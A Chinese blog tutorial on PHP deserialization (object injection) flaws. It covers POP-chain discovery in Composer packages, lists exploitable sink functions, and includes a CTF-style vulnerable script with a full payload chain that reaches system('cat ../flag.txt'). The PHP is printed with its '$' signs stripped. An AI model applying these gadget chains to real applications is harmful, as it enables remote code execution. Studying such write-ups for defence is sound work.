2.反序列化漏洞的成因及利用

接着上篇继续讲:反序列化漏洞
0x01.本质无害

反序列化的数据本质上来说是没有危害的
用户可控数据进行反序列化是存在危害的

0x02.漏洞根源

根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。
这个漏洞的形成是由于跟serialize和unserialize相关的magic函数违背正确利用的缘故。
在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。

0x03.POP链及漏洞发现技巧

由于反序列化漏洞需要很多类甚至需要跨越不同的文件,所有一般只可能白盒审计才可能发现反序列化漏洞。黑盒一般发现不了,因为根本不知道内部具体的代码函数情况,不过可以想办法把源码弄到手。
默认情况下 Composer 会从 Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。

找PHP链的基本思路:
1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数
2.追踪调用过程(反向找,正向验证)
3.手工构造 并验证 POP 链

4.开发一个应用使用该库和自动加载机制,来测试exploit

一些对我们来说有用的POP链方法:
命令执行:

exec()
passthru()
popen()
system()

文件操作:

file_put_contents()
file_get_contents()
unlink()
0x03.构造exploit的思路
碰到php反序列化的问题时,如果参数可控,我们要反方向去寻找,即先找到调用我们想要调用的函数或方法,然后给可控的参数赋恰当的值,逆向推理,最后得出序列化字符串。

1.寻找可能存在漏洞的应用
2.在他所使用的库中寻找 POP gadgets
3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload
4.将序列化之后的payload发送到有漏洞web应用中进行测试
这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果

0x04.利用反序列化漏洞

利用两个条件:

1、程序中存在序列化字符串的输入点
2、程序中存在可以利用的magic函数

举个例子:
源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
class gg
{
    private gg;     public function __destruct()     {         this->gg->get1();
    }
}
class start
{
    private start1;     private start2;
    public function get1()
    {
        s1 = this->start1;
        s2 = this->start2;
        s1(s2);
    }
}

class cat
{
    private name = "蛋黄";     private color = "橘色";
    private weight = "5公斤";      public function getName()     {         return this->name;
    }

    public function getColor()
    {
        return this->color;     }      public function getWeight()     {         return this->weight;
    }

    public function __invoke(args)     {         echo args."不是函数";
    }
}

class test2
{
    private a;     public function __toString()     {         this->a->getFlag();
    }
}

class flag
{
    public function getFlag()
    {
        system('cat ../flag.txt');
    }
}
x = _GET['x'];
if (isset(x)) {     unserialize(x);
}
?>

思路:
看到 unserialize()知道是反序列化问题

从后往前逆推

1)想要得到flag 必须得调用flag 类里面的 getflag()方法

2)往上看,发现test2 里面调用了getflag()方法

3)但是这个getflag是a对应的方法,所以必须把a赋值为flag的类并且,getflag()函数在tostring 里面,所以要把test2类当作一个字符串来使用 4)上面cat 方法里面有关于字符串的调用,所以可以把args 赋为text2 的新类,但是想要调用echo 语句,必须得调用 invoke方法,所以呢,要把cat 当作一个函数来使用

5) 向上寻找函数的调用,发现start 里面有关于函数的调用,所以应该把s1赋值为cat的类,而s2 是函数的参数,联想到上面的__revoke,所以,可以把$s2赋值为test2的类

6)想要实现上述,必须调用get1()方法,向上寻找,发现gg类中调用了get1(),但是却是变量gg的 方法,所以将变量gg赋值为start的类,就可以调用get1()方法了

payload:

<?php

class gg
{
    private gg;     public function __construct()     {         this->gg = new start();

    }

    public function __destruct()
    {

        this->gg->get1();     } } class start {     private start1;
    private start2;     public function __construct()     {         this->start1 = new cat();
        this->start2=new test2();      }     public function get1()     {         s1 = this->start1;         s2 = this->start2;         s1(s2);     } }  class cat {     private name = "蛋黄";
    private color = "橘色";     private weight = "5公斤";

    public function getName()
    {
        return this->name;     }      public function getColor()     {         return this->color;
    }

    public function getWeight()
    {
        return this->weight;     }      public function __invoke(args)
    {
        echo args."不是函数";     } }  class test2 {     private a;
    public function __construct()
    {
        this->a = new flag();      }     public function __toString()     {         this->a->getFlag();
    }
}
class flag
{
    public function getFlag()
    {
        system('cat ../flag.txt');
    }
}
b = new gg; echo urlencode(serialize(b))."<br /    >";

?>

正向理思路:

1.首先选创建一个新类gg,销毁时调用方__destruct,调用get1()  
2.get1()中,s1 是cat的新类,s2是test2的新类,s1当作函数,调用__invoke,s2 当作字符串,调用__tostring   
3.然后调用__tostring,中的getflag(),执行system(),获得flag

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注

开始在上面输入您的搜索词,然后按回车进行搜索。按ESC取消。

返回顶部